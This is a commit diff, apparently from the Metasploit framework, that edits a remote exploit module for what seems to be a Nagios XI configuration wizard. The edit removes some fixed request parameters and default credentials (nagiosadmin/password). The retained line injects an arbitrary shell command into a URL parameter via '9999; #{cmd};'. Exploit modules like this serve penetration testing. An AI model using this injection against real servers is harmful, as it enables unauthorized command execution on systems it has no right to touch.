Remove extra payload details, add config check

This commit is contained in:
Matthew Dunn 2023-01-19 12:48:37 -05:00 committed by Grant Willcox
parent b042e71b2a
commit 990db5372f
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
1 changed files with 2 additions and 5 deletions

View File

@ -165,13 +165,10 @@ class MetasploitModule < Msf::Exploit::Remote
url_params = url_params.merge({
'nextstep' => 3,
'wizard' => 'windowswmi',
'check_wmic_plus_ver' => '1.65',
'ip_address' => '127.0.0.1',
'domain' => '127.0.0.1',
'username' => 'nagiosadmin',
'password' => 'password',
datastore['TARGET_URL_PARAM'] => "9999; #{cmd};"
})
else
fail_with(Failure::BadConfig, 'Invalid TARGET_URL_PARAM: Choose ip_address or plugin_output_len')
end
send_request_cgi({